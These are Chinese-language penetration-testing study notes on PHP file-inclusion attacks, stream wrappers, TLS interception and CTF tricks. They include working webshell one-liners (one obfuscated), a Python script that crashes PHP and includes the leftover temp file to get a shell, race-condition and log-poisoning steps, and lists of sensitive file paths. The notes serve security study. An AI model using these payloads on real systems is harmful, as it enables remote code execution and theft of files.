渗透测试学习笔记(前四天)
Day 1 - 环境搭建 + 行业认知
行业现状:
- 真实渗透经历 > CTF竞赛(补天、CNVD、护网行动)
- 云安全需求大:Docker、K8s占80%
- Web漏洞趋势:SQL注入变少(预编译),协议层绕过变多
环境配置:
- Windows: PHPStudy + Xdebug + VSCode
- Linux: Ubuntu 22.04 + Nginx + PHP-FPM
- Python: 3.10 + PyCharm
- Java: JDK 1.8/11/21(反序列化bypass需要不同版本)
Xdebug配置(php.ini):
ini
[Xdebug]
xdebug.mode = debug
xdebug.start_with_request = yes
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll
PHP源码编译(8.3.23):
bash
# 安装依赖
sudo apt install -y build-essential libssl-dev libcurl4-openssl-dev libxml2-dev libzip-dev
# 编译配置
./buildconf --force
./configure --prefix=/usr/local/php83 --enable-fpm --enable-debug --with-curl --with-openssl
make -j$(nproc)
sudo make install
Nginx源码安装:
bash
./configure --prefix=/usr/local/nginx --with-http_ssl_module
make && make install
PHP-FPM配置:
ini
listen = 127.0.0.1:9000 # 改为端口监听
关键理解:
- 底层C语言调试很重要(CTF+真实渗透都需要)
- AI辅助但不能依赖,会丧失思考能力
Day 2 - PHP文件包含漏洞
核心原理:
PHP的include()函数在底层C语言中检查文件流是否存在<?php标识符,存在则作为PHP代码执行,不关心文件后缀。
php
$filename = $_GET['file'];
include($filename);
即使包含.txt文件,只要内有<?php system('whoami');?>即可执行。
PHP伪协议:
php.ini配置:
allow_url_fopen = On/Offallow_url_include = On/Off
1. php://filter(最重要)
不受allow_url_include限制,CTF和实战最常见
?file=php://filter/read=convert.base64-encode/resource=index.php
常用过滤器:
convert.base64-encode/decode- Base64编解码string.strip_tags- 去除HTML/PHP标签convert.iconv.*- 字符编码转换(大型CTF常考)
2. php://input
需要双On,POST数据作为PHP代码执行
GET: ?file=php://input
POST: <?php system('whoami');?>
3. file://协议
读取本地文件,双Off也能用
?file=file:///etc/passwd
4. zip:// / compress.bzip2:// / compress.zlib://
?file=zip://绝对路径/2.zip%23shell.php
?file=compress.bzip2://file.bz2
?file=compress.zlib://file.gz
5. phar://协议
zip改jpg后仍可访问
?file=phar://./2.jpg/2.php
6. data://协议
需双On
?file=data://text/plain,<?php phpinfo();?>
绕过死亡exit():
题目代码:
php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
方法1 - Base64解码特性:
filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
原理:base64解码时<?php exit; ?>变成非法字符被跳过
方法2 - strip_tags + base64:
filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
HTTPS/TLS安全机制:
TLS握手流程(RSA密钥协商):
- Client Hello: 版本号、Client Random、密码套件列表
- Server Hello + Certificate: Server Random、密码套件、数字证书(含公钥)
- 客户端验证证书(CA公钥解密签名对比Hash)
- 客户端生成pre-master,用服务器公钥加密发送
- 双方用3个随机数生成Master Secret(对称密钥)
- 开始加密通信
密码套件示例:TLS_RSA_WITH_AES_128_GCM_SHA256
- RSA: 密钥交换
- AES_128_GCM: 对称加密
- SHA256: 摘要算法
Burp Suite抓HTTPS原理:
条件:
- 客户端流量经过Burp代理(127.0.0.1:8080)
- 客户端信任Burp的CA证书
- 目标无证书锁定(Certificate Pinning)
- 无双向认证等特殊机制
防御与绕过:
- 证书锁定 → Frida hook底层校验函数
- 双向认证 → r0capture框架抓密钥
- VMP加固 → 基本无法绕过
Day 3 - Phar协议 + PHP底层原理
Phar协议原理:
Phar结构:
test.phar
├── stub (启动器,必须含__HALT_COMPILER())
├── manifest (元数据,序列化数据,反序列化漏洞点)
├── contents (文件内容)
└── signature (签名)
支持格式:Phar、Tar、Zip(Zip最常用)
Zip改Jpg绕过上传:
bash
zip test.zip shell.php
mv test.zip test.jpg
include('phar://test.jpg/shell.php')
为什么能绕过?
- phar://协议通过Magic Bytes(文件头)识别格式,不看扩展名
- Zip文件头:
PK\x03\x04 - PHP检测到文件头为Zip即解析
Phar协议完整调用链:
include('phar://1.jpg/2.php')
↓
zend_include_or_eval()
↓
php_stream_open_wrapper()
↓
phar_wrapper_open_url()
↓
phar_parse_url() → 解析出 arch="1.jpg", entry="2.php"
↓
phar_open_from_filename() → 打开文件
↓
phar_detect_phar_format() → 检测Magic Bytes (PK\x03\x04)
↓
phar_parse_zipfile() → 解析Zip结构,构建manifest哈希表
↓
phar_get_entry_data() → 获取"2.php"的entry_info
↓
php_stream_alloc() → 创建stream,abstract指向entry
↓
phar_stream_read() → 从Zip读取文件内容
↓
zend_compile_string() → 编译为opcodes
↓
zend_execute() → 执行
PHP编译执行流程:
源代码
↓
词法分析(切割成token)
↓
语法分析(构建AST抽象语法树)
↓
编译(生成OPCODE数组,每个变量对应handler的C函数)
↓
执行(zend_execute_scripts虚拟机)
顶层函数 vs 非顶层函数:
区别:
- 顶层函数:全局函数,直接定义在文件最外层
- 非顶层函数:嵌套在类、命名空间、其他函数内部的函数
编译时处理:
- 顶层函数:直接将函数名注册到函数表
- 非顶层函数:生成临时K值作为函数名,编译后再注册真实函数名
非顶层函数命名规范:
\0 + 函数名 + 文件绝对路径 + : + 函数开始行号 + $ + 访问次数
CTF题目 - trim函数绕过:
php
$password = trim($_REQUEST['password'] ?? '');
$name = trim($_REQUEST['name'] ?? 'viewsource');
if (strcmp(hash('sha256', $password), 'ca572756...') === 0) {
function readflag() {
echo 'flag';
}
}
$name();
解法:
- readflag()是非顶层函数,实际函数名是K值
- trim()会清除
\0等特殊字符 - 在函数名前加
\绕过trim - 构造payload调用K值函数
PHP特殊函数类型:
- 命名空间函数
- 闭包函数
- 箭头函数(PHP 7.4+)
- 类成员方法
Day 4 - 高级文件包含技巧
1. phpinfo + LFI条件竞争(PHP 5.x):
原理:
- phpinfo()会打印上传文件的临时路径
/tmp/phpXXXXXX - 临时文件在phpinfo页面完全加载后才删除
- PHP默认输出缓冲区4096字节
- 每次返回4096字节给socket,期间文件不删除
- 填充header垃圾数据延长加载时间
- 边读取边发送包含请求,利用时间差
代码示例:
php
// index.php
$a = @$_GET['file'];
if (strpos($a,'flag')!==false) die('nonono');
include $a;
// phpinfo.php
phpinfo();
利用步骤:
- 构造multipart/form-data上传包,含webshell
- header填充垃圾数据(Cookie、User-Agent等)
- 操作原生socket,每次recv(4096)
- 正则匹配
tmp_name提取临时文件路径 - 发现路径后立即发送第二个请求包含该文件
- 成功执行webshell
推荐webshell(包含后写入永久文件):
php
<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);');?>
2. PHP 7崩溃利用:
适用场景:无phpinfo页面,PHP 7环境
原理:
php
?file=php://filter/string.strip_tags/resource=/etc/passwd
- strip_tags对非PHP文件处理会触发Segment Fault
- PHP崩溃后临时文件不被删除,保留在/tmp目录
- 配合文件上传实现RCE
利用脚本:
python
import requests
from io import BytesIO
import re
# 触发崩溃同时上传文件
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
files = {'file': BytesIO('<?php eval($_REQUEST[123]);?>')}
requests.post(url=url, files=files, allow_redirects=False)
# 列举/tmp目录找到临时文件
r = requests.get('http://ip/dir.php?dir=/tmp')
fn = re.search(r"php[a-zA-Z0-9]+", r.content).group(0)
# 包含临时文件getshell
url = "http://ip/index.php?file=/tmp/" + fn
requests.post(url, data={'123': "system('whoami');"})
3. Session文件包含:
原理:
- Session记录用户登录状态和账号信息
- Session内容部分可控(如用户名、密码等字段)
- 包含Session文件可触发代码执行
Session存储位置:
- Linux:
/var/lib/php/sessions/sess_PHPSESSID - Linux:
/tmp/sess_PHPSESSID - Windows:
C:\Windows\Temp\sess_PHPSESSID
利用条件:
- 知道Session存储路径
- Session内容可控
- 存在文件包含漏洞
局限性:
- Session变量有严格转义机制
- 特殊字符会被转义
- 实战成功案例较少
4. Apache日志文件包含:
原理:
- 访问日志记录URL、User-Agent等
- 恶意代码写入日志
- 包含日志文件执行
日志位置:
/var/log/nginx/access.log
/etc/nginx/nginx.conf
/var/log/apache2/access.log
利用步骤:
- User-Agent写入
<?php system($_GET[c]);?> - 访问页面触发写入日志
- 包含日志文件:
?file=/var/log/nginx/access.log&c=whoami
问题:
- 权限问题(www-data可能无法读)
- 日志太大(需要日志分割,凌晨12点后包含)
- 路径未知(需要猜或泄露)
5. 临时文件包含:
PHP上传文件机制:
- 上传时创建临时文件(/tmp/phpXXXXXX)
- 后端处理完后自动删除
- 利用时间差在删除前包含
临时文件命名规则:
- Linux: 6位随机字符
phpXXXXXX - Windows: 4位随机字符(相对好爆破)
利用方式:
- phpinfo+LFI(PHP 5)
- PHP 7崩溃(PHP 7)
- 暴力猜测(Windows环境)
6. 包含Apache/Nginx配置文件:
bash
# Nginx
/etc/nginx/nginx.conf
# Apache
/etc/apache2/apache2.conf
# 虚拟主机配置
/etc/nginx/sites-available/default
文件包含漏洞检测特征:
URL参数常见名:
?file=?action=?page=?img=?path=
常见过滤绕过payload:
php
// 读取源码
?file=php://filter/read=convert.base64-encode/resource=index.php
// 绕过死亡exit
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
// Zip伪协议
?file=zip://绝对路径/2.zip%23shell.php
// Phar协议
?file=phar://./upload.jpg/shell.php
学习总结与难点
文件包含漏洞利用优先级:
- 直接包含文件(已知路径)
- php://filter伪协议读取源码
- 配合文件上传(图片马+文件名泄露)
- phpinfo+LFI条件竞争(PHP 5)
- PHP 7崩溃利用
- phar://协议绕过上传
实际应用场景:
- CTF:PHP伪协议、Phar反序列化、条件竞争
- 真实渗透:文件上传配合、日志包含、Session劫持
- APP渗透:证书绑定绕过、双向认证、抓包对抗
常用payload速查:
php
// 一句话木马
<?php @eval($_REQUEST['c']); ?>
<?php system($_GET['c']); ?>
<?php file_put_contents('/tmp/s', '<?php eval($_REQUEST[c]);');?>
// 读取文件
<?php show_source('/etc/passwd'); ?>
<?php file_get_contents('/etc/passwd'); ?>
<?php print_r(scandir('.')); ?>
<?php readfile('/flag'); ?>
// 无数字webshell
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%00'^'`'); $_=${'_'};$_("%01%03%01%00%14%00")(); ?>
伪协议速查表:
| 协议 | 需要配置 | 用途 |
|---|---|---|
| php://filter | - | 读取源码、绕过exit |
| php://input | 双On | POST传参执行 |
| file:// | - | 读取本地文件 |
| data:// | 双On | 直接执行代码 |
| zip:// | - | 包含压缩包内文件 |
| phar:// | - | 绕过上传检测 |
| compress.bzip2:// | - | 解压bz2 |
| compress.zlib:// | - | 解压gz |
常见敏感文件路径:
bash
# Linux
/etc/passwd
/etc/shadow
/var/log/nginx/access.log
/var/log/apache2/access.log
/etc/nginx/nginx.conf
/proc/self/environ
# Windows
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\Windows\Temp\sess_PHPSESSID